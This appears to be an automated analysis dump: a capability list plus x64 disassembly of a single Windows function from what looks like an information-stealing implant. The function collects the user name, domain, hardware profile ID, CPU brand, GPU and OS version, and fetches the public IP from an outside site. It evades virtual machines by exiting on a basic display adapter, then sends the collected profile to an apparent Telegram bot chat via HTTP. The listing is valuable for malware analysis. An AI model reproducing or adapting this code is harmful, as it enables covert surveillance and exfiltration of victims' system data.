Function at 0x140001180
Capabilities:
Connect to http server
Create http request
Parse url
Query or enumerate registry value
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x7020]
mov eax, 0x7120
call fcn.140002dd0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x7010], rax
lea rax, [rbp]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Volatile_Environment
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp]
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x28], rax
lea rdx, str.USERNAME
lea rax, [rbp + 0x670]
mov dword [rbp + 0xb0], 0x100
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0xb4], 0x100
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp]
lea rax, [rbp + 0xb4]
mov qword [rsp + 0x28], rax
lea rdx, str.USERDOMAIN
lea rax, [rbp + 0x770]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movdqa xmm1, xmmword [0x1400038b0]
lea rdx, [rsp + 0x50]
movdqa xmm4, xmmword [0x140003890]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xor eax, eax
mov dword [rbp + 0x80], 0xa
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0x550]
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x3110]
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x5090]
movups xmmword [rbp + 0x60], xmm0
xor esi, esi
mov qword [rbp + 0x58], rax
movups xmmword [rbp + 0x40], xmm0
lea rax, [rbp + 0x5f8]
mov dword [rbp + 0x10], 0x68
movdqa xmm0, xmmword [0x140003840]
mov ecx, esi
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x1400038a0]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x140003830]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x1400037f0]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x140003880]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x140003810]
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp + 0x20], 0x10
mov dword [rbp + 0x30], 0xfbc
mov dword [rbp + 0x60], 0xfbc
movdqa xmmword [rbp + 0x90], xmm4
movdqu xmmword [rbp - 0x70], xmm1
nop
movdqu xmm0, xmmword [rdx - 0x10]
add ecx, 0x10
lea rax, [rax + 0x20]
lea rdx, [rdx + 0x40]
pshufhw xmm1, xmm0, 0xd8
movq xmm0, xmm4
pshuflw xmm2, xmm1, 0xd8
pshufd xmm3, xmm2, 0xd8
paddw xmm3, xmm0
movq qword [rax - 0x28], xmm3
movdqu xmm0, xmmword [rdx - 0x40]
pshufhw xmm1, xmm0, 0xd8
movq xmm0, xmm4
pshuflw xmm2, xmm1, 0xd8
pshufd xmm3, xmm2, 0xd8
paddw xmm3, xmm0
movq qword [rax - 0x20], xmm3
movdqu xmm0, xmmword [rdx - 0x30]
pshufhw xmm1, xmm0, 0xd8
movq xmm0, xmm4
pshuflw xmm2, xmm1, 0xd8
pshufd xmm3, xmm2, 0xd8
paddw xmm3, xmm0
movq qword [rax - 0x18], xmm3
movdqu xmm0, xmmword [rdx - 0x20]
pshufhw xmm1, xmm0, 0xd8
movq xmm0, xmm4
pshuflw xmm2, xmm1, 0xd8
pshufd xmm3, xmm2, 0xd8
paddw xmm3, xmm0
movq qword [rax - 0x10], xmm3
cmp ecx, 0x10
jb 0x140001340
movsxd rax, ecx
cmp rax, 0x1c
jae 0x14000141a
lea rdx, [rbp + 0x5f0]
lea rbx, [rsp + 0x40]
lea rdx, [rdx + rax*2]
lea rbx, [rbx + rax*4]
nop word [rax + rax]
movzx eax, word [rbx]
lea rdx, [rdx + 2]
add ax, 0x40
lea rbx, [rbx + 4]
inc ecx
mov word [rdx - 2], ax
cmp ecx, 0x1c
jb 0x140001400
movdqa xmm0, xmmword [0x1400038e0]
lea rax, [rbp + 0xb78]
movdqa xmm1, xmmword [0x1400038d0]
lea rdx, [rsp + 0x50]
movq xmm4, qword [rbp + 0x90]
mov ecx, esi
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x1400037c0]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x140003820]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x140003800]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x140003850]
movdqu xmmword [rsp + 0x70], xmm1
movdqa xmm1, xmmword [0x140003860]
movdqu xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x1400037d0]
movdqu xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [str.____a4___]
movdqu xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x140003870]
movdqu xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x1400038c0]
movdqu xmmword [rbp - 0x20], xmm0
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x10], 0x12
mov dword [rbp - 0xc], 9
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rdx - 0x10]
add ecx, 0x10
lea rax, [rax + 0x20]
lea rdx, [rdx + 0x40]
pshufhw xmm1, xmm0, 0xd8
movq xmm0, xmm4
pshuflw xmm2, xmm1, 0xd8
pshufd xmm3, xmm2, 0xd8
paddw xmm3, xmm0
movq qword [rax - 0x28], xmm3
movdqu xmm0, xmmword [rdx - 0x40]
pshufhw xmm1, xmm0, 0xd8
movq xmm0, xmm4
pshuflw xmm2, xmm1, 0xd8
pshufd xmm3, xmm2, 0xd8
paddw xmm3, xmm0
movq qword [rax - 0x20], xmm3
movdqu xmm0, xmmword [rdx - 0x30]
pshufhw xmm1, xmm0, 0xd8
movq xmm0, xmm4
pshuflw xmm2, xmm1, 0xd8
pshufd xmm3, xmm2, 0xd8
paddw xmm3, xmm0
movq qword [rax - 0x18], xmm3
movdqu xmm0, xmmword [rdx - 0x20]
pshufhw xmm1, xmm0, 0xd8
movq xmm0, xmm4
pshuflw xmm2, xmm1, 0xd8
pshufd xmm3, xmm2, 0xd8
paddw xmm3, xmm0
movq qword [rax - 0x10], xmm3
cmp ecx, 0x20
jb 0x1400014e0
movsxd rax, ecx
cmp rax, 0x2e
jae 0x1400015ba
lea rdx, [rbp + 0xb70]
lea rbx, [rsp + 0x40]
lea rdx, [rdx + rax*2]
lea rbx, [rbx + rax*4]
nop word [rax + rax]
movzx eax, word [rbx]
lea rdx, [rdx + 2]
add ax, 0x40
lea rbx, [rbx + 4]
inc ecx
mov word [rdx - 2], ax
cmp ecx, 0x2e
jb 0x1400015a0
lea r8, [rbp + 0x5f0]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [rbp + 0xb70]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str._sendMessage_chat_id
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str._1001808232286
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.text
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [0x1400034d0]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.LVT3
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [0x140003508]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.__0A_0A
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [rbp + 0x670]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str._____
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [rbp + 0x770]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.__0A
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [0x140003580]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea rcx, [rbp + 0xc4]
mov edi, 1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cmp eax, edi
jle 0x140001769
mov rbx, rsi
movzx eax, word [rbp + rbx + 0xc6]
lea rcx, [rbp + 0xc4]
mov word [rbp + rbx + 0x870], ax
lea rbx, [rbx + 2]
inc edi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cmp edi, eax
jl 0x140001740
lea r8, [rbp + 0x870]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.__0A
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
movdqa xmm0, xmmword [0x1400037b0]
xor ecx, ecx
movdqu xmmword [rbp + 0x90], xmm0
mov eax, 0x80000000
mov r8d, 0x80000000
xorps xmm0, xmm0
cpuid
mov dword [rbp + 0x94], ebx
mov r9d, eax
mov dword [rbp + 0x98], ecx
mov dword [rbp + 0x9c], edx
movups xmmword [rbp + 0x510], xmm0
movups xmmword [rbp + 0x520], xmm0
movups xmmword [rbp + 0x530], xmm0
movups xmmword [rbp + 0x540], xmm0
cmp eax, r8d
jb 0x140001863
xor ecx, ecx
mov eax, r8d
cpuid
mov dword [rbp + 0x90], eax
mov dword [rbp + 0x94], ebx
mov dword [rbp + 0x98], ecx
mov dword [rbp + 0x9c], edx
cmp r8d, 0x80000002
jne 0x14000182b
movups xmm0, xmmword [rbp + 0x90]
movups xmmword [rbp + 0x510], xmm0
jmp 0x14000185b
cmp r8d, 0x80000003
jne 0x140001844
movups xmm0, xmmword [rbp + 0x90]
movups xmmword [rbp + 0x520], xmm0
jmp 0x14000185b
cmp r8d, 0x80000004
jne 0x14000185b
movups xmm0, xmmword [rbp + 0x90]
movups xmmword [rbp + 0x530], xmm0
inc r8d
cmp r8d, r9d
jbe 0x1400017f3
lea rcx, [rbp + 0x510]
mov rbx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
je 0x1400018a9
nop dword [rax + rax]
movsx eax, byte [rbp + rbx + 0x510]
lea rcx, [rbp + 0x510]
mov word [rbp + rbx*2 + 0x970], ax
inc rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
cdqe
cmp rbx, rax
jb 0x140001880
lea r8, [0x140003598]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [rbp + 0x970]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.__0A
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
xor edx, edx
mov dword [rbp + 0x1c0], 0x348
mov r8d, 0x342
mov word [rbp + 0x1c4], si
lea rcx, [rbp + 0x1c6]
call sub.VCRUNTIME140.dll_memset
mov r9d, 1
lea r8, [rbp + 0x1c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
mov ecx, 0x40
mov qword [rbp + 0x98], rsi
call fcn.140001ec0
movups xmm0, xmmword [str.Microsoft_Basic_Display_Adapter]
lea rcx, [rbp + 0x204]
mov rdi, rax
mov qword [rbp + 0x90], rax
mov edx, 0x1f
movups xmmword [rax], xmm0
mov qword [rbp + 0xa0], rdx
movups xmm1, xmmword [0x1400035c0]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp + 0xa8], rdx
movups xmm0, xmmword [0x1400035d0]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x1400035e0]
movsd qword [rax + 0x30], xmm0
mov eax, dword [0x1400035e8]
mov dword [rdi + 0x38], eax
movzx eax, word [0x1400035ec]
mov word [rdi + 0x3c], ax
mov rax, 0xffffffffffffffff
mov word [rdi + 0x3e], si
inc rax
cmp word [rcx + rax*2], si
jne 0x1400019b1
cmp rax, rdx
jne 0x1400019f2
lea rax, [rbp + 0x204]
mov rbx, rdi
sub rbx, rax
lea rcx, [rbp + 0x204]
movzx eax, word [rcx]
cmp word [rcx + rbx], ax
jne 0x1400019f2
add rcx, 2
sub rdx, 1
jne 0x1400019d3
mov ecx, 0x17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r8, [0x1400035f0]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [rbp + 0x204]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.__0A
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rax, [rbp + 8]
mov dword [rbp + 0xb8], 0x400
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp + 8]
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x28], rax
lea rdx, str.ProductName
lea rax, [rbp + 0x2d10]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea r8, [0x140003688]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, [rbp + 0x2d10]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.__0A
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:61.0__Gecko_20100101_Firefox_61.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x28], rsi
lea rdx, str.http:__myexternalip.com_raw
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rbx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
lea r9, [rbp + 0xbc]
mov r8d, 0x80
mov rcx, rax
lea rdx, [rbp + 0x570]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r8, [0x140003728]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rbp + 0x570]
mov rbx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
je 0x140001ba9
nop word [rax + rax]
movsx eax, byte [rbp + rbx + 0x570]
lea rcx, [rbp + 0x570]
mov word [rbp + rbx*2 + 0xa70], ax
inc rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
cdqe
cmp rbx, rax
jb 0x140001b80
lea r8, [rbp + 0xa70]
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.__0A
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea r8, str.parse_modeMarkdown
mov edx, 0xfd0
lea rcx, [rbp + 0xd70]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rbp + 0xd70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rbp + 0x10]
xor r8d, r8d
mov edx, eax
lea rcx, [rbp + 0xd70]
call qword [sym.imp.WININET.dll_InternetCrackUrlW]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:61.0__Gecko_20100101_Firefox_61.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
movzx r8d, word [rbp + 0x34]
lea rdx, [rbp + 0x3110]
mov qword [rsp + 0x38], rsi
mov rcx, rax
mov dword [rsp + 0x30], esi
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_InternetConnectW]
mov qword [rsp + 0x38], rsi
lea r8, [rbp + 0x5090]
mov dword [rsp + 0x30], 0x880000
lea rdx, [0x140003770]
mov qword [rsp + 0x28], rsi
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov r9d, 0x20000000
lea rdx, [0x140003778]
mov rcx, rax
xor r8d, r8d
mov rbx, rax
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov r9d, 4
lea r8, [rbp + 0x80]
mov edx, 5
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
lea r8, [rbp + 0x80]
mov edx, 6
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
lea r9, [0x140003778]
mov dword [rsp + 0x20], esi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, 0x40
mov rcx, rdi
call fcn.140001efc
mov rcx, qword [rbp + 0x7010]
xor rcx, rsp
call fcn.140001ea0
lea r11, [rsp + 0x7120]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret